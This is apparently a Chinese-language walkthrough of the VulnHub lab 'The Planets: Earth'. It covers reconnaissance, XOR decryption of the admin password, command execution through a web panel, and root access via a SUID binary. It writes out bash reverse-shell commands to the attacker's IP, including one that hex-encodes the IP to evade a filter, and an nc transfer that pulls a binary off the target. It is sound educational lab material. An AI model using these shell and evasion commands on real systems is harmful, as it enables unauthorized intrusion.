vulnhub靶场——The Planets:Earth
vulnhub靶场——The Planets:Earth
准备
攻击机: kali
靶机: THE PLANETS:EARTH NAT 192.168.91.0 网段
下载连接
https://www.vulnhub.com/entry/the-planets-earth,755/
信息搜集与利用
主机发现
https://github.com/czheisenberg/MyCode/blob/master/Scan/scapy/ping.py
如图所示利用python脚本扫描除了 IP 地址。
端口扫描
nmap -O -sV -p- -A 192.168.91.171 -oN earth_namp.txt
如图所示开放了 三个端口, 22,80,443,且80和443都是python3.9构成
HTTP and HTTPS
如图所示,直接打开为 Bad Request(400),此时注意看 namp 扫描结果:
可以看到两条 DNS 记录,因此需要手动修改 /etc/hosts 信息。
windows: C:\Windows\System32\dirvers\etc\hosts
Linux: /etc/hosts
ipconfig /flushdns
刷新DNS缓存
到了这一步就可以正常访问页面了
1 | 37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40 |
https://terratest.earth.local/
目录扫描
python3 dirsearch.py -u https://earth.local/
python3 dirsearch.py -u https://terratest.earth.local/
挨个儿访问
https://earth.local/admin/login
此插件可以看到为 Django
猜测是否开启了 DEBUG 模式,随便输入url 显示 Not Found 则证明关闭了DEBUG 模式。
https://terratest.earth.local/robots.txt
这里有没有Django,robots协议中 * 未知,访问不了,最后一个 testingnotes.* 猜测后缀为 txt时有如下内容
https://terratest.earth.local/testingnotes.txt
1 | 测试安全消息传递系统注意事项: |
https://terratest.earth.local/testdata.txt
根据辐射测年估计和其他证据,地球形成于45亿年前。在地球历史的最初10亿年里,生命出现在海洋中,并开始影响地球的大气层和表面,导致厌氧生物和后来的需氧生物的扩散。一些地质证据表明,生命可能早在41亿年前就出现了。
从上面的内容可以知道如下信息:
- ```
- terra 为管理员用户名
- 使用 XOR (异或)运算
- 需要将首页的 Previous Messages 与 testdata.txt 做 异或运算,进行解密。
- 做CTF题了 🤣
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
### 解码
decode.py
```python
import binascii
c = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
m = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
m = binascii.b2a\_hex(m.encode("utf-8"))
result = hex(int(c,16) ^ int(m,16))
print(result)
1 | 0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174 |
在线16进制转字符
https://www.sojson.com/hexadecimal.html
得到结果:
1 | earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat |
发现全部是重复 : earthclimatechangebad4humans
因此得到了账号密码:
登陆
terra:earthclimatechangebad4humans
如图所示登陆成功,来到一个命令执行的界面
输入 id;ls 可见,为 apache用户,同时显示出了 根目录下的内容,根据 vulnhub 的描述: There are two flags on the box: a user and root flag which include an md5 hash.
flag 1
可知共有两个flag,分别是 user 下 和 root 下
输入 find / -name “*flag*“ 查找到了 flag 位于 /var/earth_web/user_flag.txt
直接查看
cat /var/earth_web/user_flag.txt
如图所示拿到了第一个 flag,根据描述第二个 flag 位于 root 目录下,因此我们得通过提权拿到 root 权限才能查看。
getshell
bash -i >& /dev/tcp/172.31.160.47/4444 0>&1
如图所示显示: 远程连接禁止。
看了大佬的文章中讲到将IP地址 十六进制转换即可,具体为什么,我不知道,照搬吧!记住这个技巧。
bash -i >& /dev/tcp/0xac.0x1f.0xa0.0x2f/4444 0>&1
好,拿到了shell,接下来提权,先信息搜集
cat /etc/passwd
如图所示只有两个用户具有 /bin/bash : root, earth
uname -a
没用
尝试
SUID提权
find / -perm -u=s -type f 2>/dev/null
如图所示根据返回结果,/usr/bin/reset_root 极有可能拿到 root 权限。
直接运行
检查是否存在重置触发器
重置失败,所有触发器不存在
不出所料,失败。
在靶机上调试不了,可以将这个命令下载到 kali 中调试,下载可以利用 nc 传输文件。
现在kali/接收方启动:
nc -l 5555 > reset_root
然后在靶机上/发送方 启动
nc 172.31.160.47 5555 < /usr/bin/reset_root
可以看到瞬间完成。
现在将 reset_root 下载下来了,可以调试了,这里要学习一个新的命令: strace
若没有这个命令,先安装一遍即可。
使用之前需要将 reset_root 赋于执行权限
chmod +x reset_root
strace ./reset_root
从返回结果可以看到 有 三个 No such file or directory
1 | access("/dev/shm/kHgTFI5G", F\_OK) = -1 ENOENT (No such file or directory) |
那么可能因为靶机上没有这个三个文件,从而运行失败,那我们去靶机上创建这个三个文件,文件中是什么内容呢?没人知道有没有内容。先查看 靶机是否有这三个文件,没有则创建然后在运行。
如图所示确实没有,strace 命令好牛逼啊。
创建,然后运行
从返回结果可以看到 : resetting root password to : Earth, 将 root 用户的密码更改为了 Earth.
切换 root
如图所示现在为 root。
flag2
地球出来了,flag 也出来了。
到此为止成功拿到 root 权限。
总结:
- 难点在于密码破解,根据明文和密文然后异或运算得到密码。
- 新学到了 nc 可用于传输文件。
- 新学到了 strace 命令,很强大。
- bash -i >& /dev/tcp/0xac.0x1f.0xa0.0x2f/4444 0>&1 可以将 ip 地址转换为十六进制,学到了。